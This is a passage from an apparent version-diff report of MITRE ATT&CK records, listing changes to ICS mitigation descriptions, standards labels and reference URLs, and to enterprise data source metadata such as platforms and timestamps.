| labels[1] | IEC 62443-4-2:2013 - SR 7.7 | IEC 62443-4-2:2019 - CR 7.7 |
| labels[2] | IEC 62443-4-2:2019 - CR 7.7 | NIST SP 800-53 Rev. 4 - CM-7 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0928 | https://attack.mitre.org/Mitigation/M0928 |
[M0809] Operational Information Confidentiality
Current version: 1.0
|
|
|---|
| t | Deploy mechanisms to protect the confidentiality of informat | t | Deploy mechanisms to protect the confidentiality of informat |
| ion related to operational processes, facility locations, de | | ion related to operational processes, facility locations, de |
| vice configurations, programs, or databases that may have in | | vice configurations, programs, or databases that may have in |
| formation that can be used to infer organizational trade-sec | | formation that can be used to infer organizational trade-sec |
| rets, recipes, and other intellectual property (IP). Example | | rets, recipes, and other intellectual property (IP). |
| mitigations could include restricting read privileges, encr | | |
| ypting data, and obfuscating the information (e.g., facility | | |
| coverterms, codenames). In many cases this information may | | |
| be necessary to support critical engineering, maintenance, o | | |
| r operational functions, therefore, it may not be feasible t | | |
| o implement. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-04-21 22:02:03.967000+00:00 |
| description | Deploy mechanisms to protect the confidentiality of information related to operational processes, facility locations, device configurations, programs, or databases that may have information that can be used to infer organizational trade-secrets, recipes, and other intellectual property (IP). Example mitigations could include restricting read privileges, encrypting data, and obfuscating the information (e.g., facility coverterms, codenames). In many cases this information may be necessary to support critical engineering, maintenance, or operational functions, therefore, it may not be feasible to implement. | Deploy mechanisms to protect the confidentiality of information related to operational processes, facility locations, device configurations, programs, or databases that may have information that can be used to infer organizational trade-secrets, recipes, and other intellectual property (IP). |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0809 | https://attack.mitre.org/Mitigation/M0809 |
[M0810] Out-of-Band Communications Channel
Current version: 1.0
|
|
|---|
| t | Provide operators with redundant, out-of-band communication | t | Have alternative methods to support communication requiremen |
| to support monitoring and control of the operational process | | ts during communication failures and data integrity attacks. |
| es, especially when recovering from a network outage. (Citat | | (Citation: National Institute of Standards and Technology A |
| ion: NIST Apr 2013)(Citation: DARPA) Out-of-band communicati | | pril 2013) (Citation: Defense Advanced Research Projects Age |
| on should utilize diverse systems and technologies to minimi | | ncy) |
| ze common failure modes and vulnerabilities within the commu | | |
| nications infrastructure. For example, wireless networks (e. | | |
| g., 3G, 4G) can be used to provide diverse and redundant del | | |
| ivery of data. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-04-21 22:02:03.969000+00:00 |
| description | Provide operators with redundant, out-of-band communication to support monitoring and control of the operational processes, especially when recovering from a network outage. (Citation: NIST Apr 2013)(Citation: DARPA) Out-of-band communication should utilize diverse systems and technologies to minimize common failure modes and vulnerabilities within the communications infrastructure. For example, wireless networks (e.g., 3G, 4G) can be used to provide diverse and redundant delivery of data. | Have alternative methods to support communication requirements during communication failures and data integrity attacks. (Citation: National Institute of Standards and Technology April 2013) (Citation: Defense Advanced Research Projects Agency) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0810 | https://attack.mitre.org/Mitigation/M0810 |
| external_references[1]['source_name'] | NIST Apr 2013 | National Institute of Standards and Technology April 2013 |
| external_references[1]['description'] | National Institute of Standards and Technology. (2013, April). Security and Privacy Controls for Federal Information Systems and Organizations. Retrieved September 17, 2020. | National Institute of Standards and Technology 2013, April Security and Privacy Controls for Federal Information Systems and Organizations Retrieved. 2020/09/17 |
| external_references[2]['source_name'] | DARPA | Defense Advanced Research Projects Agency |
| external_references[2]['description'] | Defense Advanced Research Projects Agency. (n.d.). Rapid Attack Detection, Isolation and Characterization Systems (RADICS). Retrieved September 17, 2020. | Defense Advanced Research Projects Agency National Institute of Standards and Technology 2013, April Security and Privacy Controls for Federal Information Systems and Organizations Retrieved. 2020/09/17 Rapid Attack Detection, Isolation and Characterization Systems (RADICS) Retrieved. 2020/09/17 |
[M0927] Password Policies
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:13:35.792000+00:00 | 2022-04-21 22:02:03.969000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0927 | https://attack.mitre.org/Mitigation/M0927 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - IA-5 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - IA-5 | |
[M0926] Privileged Account Management
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:13:36.655000+00:00 | 2022-04-21 22:02:03.969000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0926 | https://attack.mitre.org/Mitigation/M0926 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-2 | |
[M0811] Redundancy of Service
Current version: 1.0
|
|
|---|
| t | Redundancy could be provided through both the devices or ser | t | Redundancy could be provided for both critical ICS devices a |
| vices, such as back-up devices or hot-standby's. Hot-standby | | nd services, such as back-up devices or hot-standbys. |
| s in diverse locations can ensure continued operations if th | | |
| e primarily system are compromised or unavailable. At the ne | | |
| twork layer, protocols such as the Parallel Redundancy Proto | | |
| col (PRP, IEC 62439-3:2012-07) can be used to simulatenously | | |
| use redundant and diverse communication over a local networ | | |
| k. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-29 16:53:45.681000+00:00 | 2022-04-21 22:02:03.970000+00:00 |
| description | Redundancy could be provided through both the devices or services, such as back-up devices or hot-standby's. Hot-standbys in diverse locations can ensure continued operations if the primarily system are compromised or unavailable. At the network layer, protocols such as the Parallel Redundancy Protocol (PRP, IEC 62439-3:2012-07) can be used to simulatenously use redundant and diverse communication over a local network. | Redundancy could be provided for both critical ICS devices and services, such as back-up devices or hot-standbys. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0811 | https://attack.mitre.org/Mitigation/M0811 |
[M0922] Restrict File and Directory Permissions
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:12:39.136000+00:00 | 2022-04-21 22:02:03.970000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0922 | https://attack.mitre.org/Mitigation/M0922 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-6 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-6 | |
[M0944] Restrict Library Loading
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:16:01.740000+00:00 | 2022-04-21 22:02:03.970000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0944 | https://attack.mitre.org/Mitigation/M0944 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - CP-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - CP-7 | |
[M0924] Restrict Registry Permissions
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:13:59.577000+00:00 | 2022-04-21 22:02:03.970000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0924 | https://attack.mitre.org/Mitigation/M0924 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-6 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-6 | |
[M0921] Restrict Web-Based Content
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:10:59.206000+00:00 | 2022-04-21 22:02:03.971000+00:00 |
| labels[0] | NIST SP 800-53 Rev. 4 - SC-18 | IEC 62443-3-3:2013 - SR 2.4 |
| labels[1] | IEC 62443-3-3:2013 SR 2.4 | IEC 62443-4-2:2019 - HDR 2.4 |
| labels[2] | IEC 62443-4-2:2019 - HDR 2.4 | NIST SP 800-53 Rev. 4 - SC-18 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0921 | https://attack.mitre.org/Mitigation/M0921 |
[M0920] SSL/TLS Inspection
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:10:34.146000+00:00 | 2022-04-21 22:02:03.971000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0920 | https://attack.mitre.org/Mitigation/M0920 |
[M0812] Safety Instrumented Systems
Current version: 1.0
|
|
|---|
| t | Utilize Safety Instrumented Systems (SIS) to provide an addi | t | Utilize Safety Instrumented Systems (SIS) to provide an addi |
| tional layer of protection to hazard scenarios that may caus | | tional layer of protection to hazard scenarios that may caus |
| e property damage. A SIS will typically included sensors, lo | | e property damage. A SIS will typically include sensors, log |
| gic solvers, and a final control element that can be used to | | ic solvers, and a final control element that can be used to |
| automatically respond to an hazardous condition. Ensure tha | | automatically respond to an hazardous condition (Citation: |
| t all SISs are segmented from operational networks to preven | | A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2 |
| t them from being targeted by additional adversarial behavio | | 004) . Ensure that all SISs are segmented from operational n |
| r. | | etworks to prevent them from being targeted by additional ad |
| | | versarial behavior. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-22 16:50:45.681000+00:00 | 2022-04-21 22:02:03.972000+00:00 |
| description | Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage. A SIS will typically included sensors, logic solvers, and a final control element that can be used to automatically respond to an hazardous condition. Ensure that all SISs are segmented from operational networks to prevent them from being targeted by additional adversarial behavior. | Utilize Safety Instrumented Systems (SIS) to provide an additional layer of protection to hazard scenarios that may cause property damage. A SIS will typically include sensors, logic solvers, and a final control element that can be used to automatically respond to an hazardous condition (Citation: A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004) . Ensure that all SISs are segmented from operational networks to prevent them from being targeted by additional adversarial behavior. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0812 | https://attack.mitre.org/Mitigation/M0812 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004', 'description': 'A G Foord, W G Gulland, C R Howard, T Kellacher, W H Smith 2004 APPLYING THE LATEST STANDARD FOR FUNCTIONAL SAFETY IEC 61511 Retrieved. 2020/09/17 ', 'url': 'https://www.icheme.org/media/9906/xviii-paper-23.pdf'} |
[M0954] Software Configuration
Current version: 1.0
|
|
|---|
| t | Implement configuration changes to software (other than the | t | Implement configuration changes to software (other than the |
| operating system) to mitigate security risks associated to h | | operating system) to mitigate security risks associated with |
| ow the software operates. | | how the software operates. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:18:09.471000+00:00 | 2022-04-21 22:02:03.972000+00:00 |
| description | Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates. | Implement configuration changes to software (other than the operating system) to mitigate security risks associated with how the software operates. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0954 | https://attack.mitre.org/Mitigation/M0954 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - CM-7 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - CM-7 | |
[M0813] Software Process and Device Authentication
Current version: 1.0
|
|
|---|
| t | Require the authentication of devices and software processes | t | Require the authentication of devices and software processes |
| where appropriate. Devices that connect remotely to other s | | where appropriate. Devices that connect remotely to other s |
| ystems should require strong authentication to prevent spoof | | ystems should require strong authentication to prevent spoof |
| ing of communications. Furthermore, software processes shoul | | ing of communications. Furthermore, software processes shoul |
| d also require authentication if accessing a local or remote | | d also require authentication when accessing APIs. |
| API. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-25 14:47:45.681000+00:00 | 2022-04-21 22:02:03.972000+00:00 |
| description | Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication if accessing a local or remote API. | Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0813 | https://attack.mitre.org/Mitigation/M0813 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - IA-9 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - IA-9 | |
[M0814] Static Network Configuration
Current version: 1.0
|
|
|---|
| t | Configure hosts and devices to use static network configurat | t | Configure hosts and devices to use static network configurat |
| ions when possible, protocols that require dynamic discovery | | ions when possible, protocols that require dynamic discovery |
| /addressing (e.g., ARP, DHCP, DNS) can be used to manipulate | | /addressing (e.g., ARP, DHCP, DNS) can be used to manipulate |
| network message forwarding and enable various MitM attacks. | | network message forwarding and enable various MitM attacks. |
| This mitigation may not always be usable due to limited dev | | This mitigation may not always be usable due to limited dev |
| ice features or challenges introduced with network configura | | ice features or challenges introduced with different network |
| tions. | | configurations. |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-25 15:01:45.681000+00:00 | 2022-04-21 22:02:03.972000+00:00 |
| description | Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various MitM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with network configurations. | Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various MitM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations. |
| labels[0] | NIST SP 800-53 Rev. 4 - CM-7 | IEC 62443-3-3:2013 - SR 7.7 |
| labels[1] | IEC 62443-3-3:2013 - SR 7.7 | IEC 62443-4-2:2019 - CR 7.7 |
| labels[2] | IEC 62443-4-2:2013 - CR 7.7 | NIST SP 800-53 Rev. 4 - CM-7 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0814 | https://attack.mitre.org/Mitigation/M0814 |
[M0817] Supply Chain Management
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| labels | | ['NIST SP 800-53 Rev. 4 - SA-12'] |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-12 17:00:21.233000+00:00 | 2022-04-21 22:02:03.973000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0817 | https://attack.mitre.org/Mitigation/M0817 |
[M0919] Threat Intelligence Program
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:09:50.927000+00:00 | 2022-04-21 22:02:03.973000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0919 | https://attack.mitre.org/Mitigation/M0919 |
[M0951] Update Software
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:18:39.005000+00:00 | 2022-04-21 22:02:03.973000+00:00 |
| labels[0] | NIST SP 800-53 Rev. 4 - SI-2 | IEC 62443-4-2:2019 - CR 3.10 |
| labels[1] | IEC 62443-4-2:2019 - CR 3.10 | NIST SP 800-53 Rev. 4 - SI-2 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0951 | https://attack.mitre.org/Mitigation/M0951 |
[M0918] User Account Management
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:09:12.270000+00:00 | 2022-04-21 22:02:03.974000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0918 | https://attack.mitre.org/Mitigation/M0918 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| labels | | NIST SP 800-53 Rev. 4 - AC-2 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| labels | NIST SP 800-53 Rev. 4 - AC-2 | |
[M0917] User Training
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:06:20.173000+00:00 | 2022-04-21 22:02:03.974000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0917 | https://attack.mitre.org/Mitigation/M0917 |
[M0916] Vulnerability Scanning
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-10 14:20:06.356000+00:00 | 2022-04-21 22:02:03.974000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0916 | https://attack.mitre.org/Mitigation/M0916 |
[M0815] Watchdog Timers
Current version: 1.0
|
|
|---|
| t | Utilize watchdog timers to ensure devices can quickly detect | t | Utilize watchdog timers to ensure devices can quickly detect |
| whether a system is operational, unresponsive, or in a good | | whether a system is unresponsive. |
| state. System / process restarts should be performed when a | | |
| timeout condition occurs. | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-09-29 17:25:45.681000+00:00 | 2022-04-21 22:02:03.974000+00:00 |
| description | Utilize watchdog timers to ensure devices can quickly detect whether a system is operational, unresponsive, or in a good state. System / process restarts should be performed when a timeout condition occurs. | Utilize watchdog timers to ensure devices can quickly detect whether a system is unresponsive. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Mitigation/M0815 | https://attack.mitre.org/Mitigation/M0815 |
Data Sources
enterprise-attack
Patches
[DS0026] Active Directory
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Azure AD |
| x_mitre_platforms[1] | Azure AD | Windows |
| x_mitre_collection_layers[0] | Host | Cloud Control Plane |
| x_mitre_collection_layers[1] | Cloud Control Plane | Host |
| created | 2021-10-20T15:05:19.274110Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.693951Z | 2022-03-30T14:26:51.803Z |
[DS0015] Application Log
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Google Workspace |
| x_mitre_platforms[1] | Linux | IaaS |
| x_mitre_platforms[2] | macOS | Linux |
| x_mitre_platforms[3] | IaaS | Office 365 |
| x_mitre_platforms[5] | Office 365 | Windows |
| x_mitre_platforms[6] | Google Workspace | macOS |
| x_mitre_collection_layers[0] | Host | Cloud Control Plane |
| x_mitre_collection_layers[1] | Cloud Control Plane | Host |
| created | 2021-10-20T15:05:19.272925Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-10-20T15:05:19.272925Z | 2022-03-30T14:26:51.804Z |
[DS0037] Certificate
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275410Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275410Z | 2021-10-20T15:05:19.275Z |
[DS0025] Cloud Service
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | IaaS | Azure AD |
| x_mitre_platforms[1] | SaaS | Google Workspace |
| x_mitre_platforms[2] | Office 365 | IaaS |
| x_mitre_platforms[3] | Azure AD | Office 365 |
| x_mitre_platforms[4] | Google Workspace | SaaS |
| created | 2021-10-20T15:05:19.273990Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-11-10T09:30:48.694425Z | 2022-03-30T14:26:51.804Z |
[DS0010] Cloud Storage
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.272382Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.694594Z | 2021-11-10T09:30:48.694Z |
[DS0031] Cluster
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274720Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.694817Z | 2021-11-10T09:30:48.694Z |
[DS0017] Command
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_deprecated | | False |
| revoked | | False |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Containers |
| x_mitre_platforms[2] | macOS | Network |
| x_mitre_platforms[3] | Network | Windows |
| x_mitre_platforms[4] | Containers | macOS |
| x_mitre_contributors[0] | Austin Clark | Center for Threat-Informed Defense (CTID) |
| x_mitre_contributors[1] | Center for Threat-Informed Defense (CTID) | Austin Clark, @c2defense |
| x_mitre_collection_layers[0] | Host | Container |
| x_mitre_collection_layers[1] | Container | Host |
| created | 2021-10-20T15:05:19.273124Z | 2021-10-20T15:05:19.273Z |
| external_references[0]['url'] | https://attack.mitre.org/datasources/DS0017 | https://attack.mitre.org/data-sources/DS0017 |
| modified | 2021-11-10T09:30:48.694901Z | 2022-04-20T18:09:26.646Z |
[DS0032] Container
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.274834Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.694982Z | 2021-11-10T09:30:48.694Z |
[DS0038] Domain Name
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| created | 2021-10-20T15:05:19.275460Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-10-20T15:05:19.275460Z | 2021-10-20T15:05:19.275Z |
[DS0016] Drive
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.272982Z | 2021-10-20T15:05:19.272Z |
| modified | 2021-11-10T09:30:48.695272Z | 2022-03-30T14:26:51.804Z |
[DS0027] Driver
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[1] | macOS | Windows |
| x_mitre_platforms[2] | Windows | macOS |
| created | 2021-10-20T15:05:19.274252Z | 2021-10-20T15:05:19.274Z |
| modified | 2021-11-10T09:30:48.695431Z | 2022-03-30T14:26:51.805Z |
[DS0022] File
Current version: 1.0
|
|
|---|
| t | A computer resource object, managed by the I/O system, for s | t | A computer resource object, managed by the I/O system, for s |
| toring data (such as images, text, videos, computer programs | | toring data (such as images, text, videos, computer programs |
| , or any wide variety of other media)(Citation: Microsoft Fi | | , or any wide variety of other media).(Citation: Microsoft F |
| le Mgmt) | | ile Mgmt) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_deprecated | | False |
| revoked | | False |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Network |
| x_mitre_platforms[2] | macOS | Windows |
| x_mitre_platforms[3] | Network | macOS |
| created | 2021-10-20T15:05:19.273672Z | 2021-10-20T15:05:19.273Z |
| external_references[0]['url'] | https://attack.mitre.org/datasources/DS0022 | https://attack.mitre.org/data-sources/DS0022 |
| description | A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)(Citation: Microsoft File Mgmt) | A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt) |
| modified | 2021-11-10T09:30:48.695560Z | 2022-04-21T14:50:59.123Z |
[DS0018] Firewall
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | IaaS | Azure AD |
| x_mitre_platforms[1] | SaaS | Google Workspace |
| x_mitre_platforms[2] | Office 365 | IaaS |
| x_mitre_platforms[3] | Azure AD | Linux |
| x_mitre_platforms[4] | Linux | Office 365 |
| x_mitre_platforms[5] | macOS | SaaS |
| x_mitre_platforms[7] | Google Workspace | macOS |
| created | 2021-10-20T15:05:19.273181Z | 2021-10-20T15:05:19.273Z |
| modified | 2021-11-10T09:30:48.695762Z | 2022-03-30T14:26:51.805Z |
[DS0001] Firmware
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Linux |
| x_mitre_platforms[1] | Linux | Windows |
| created | 2021-10-20T15:05:19.265145Z | 2021-10-20T15:05:19.265Z |
| modified | 2021-11-10T09:30:48.695921Z | 2022-03-30T14:26:51.805Z |
[DS0036] Group
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms[0] | Windows | Azure AD |
| x_mitre_platforms[1] | IaaS | Google Workspace |
| x_mitre_platforms[2] | SaaS | IaaS |
| x_mitre_platforms[4] | Azure AD | SaaS |
| x_mitre_platforms[5] | Google Workspace | Windows |
| x_mitre_collection_layers[0] | Host | Cloud Control Plane |
| x_mitre_collection_layers[1] | Cloud Control Plane | Host |
| created | 2021-10-20T15:05:19.275275Z | 2021-10-20T15:05:19.275Z |
| modified | 2021-11-10T09:30:48.695999Z | 2022-03-30T14:26:51.805Z |
[DS0007] Image
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
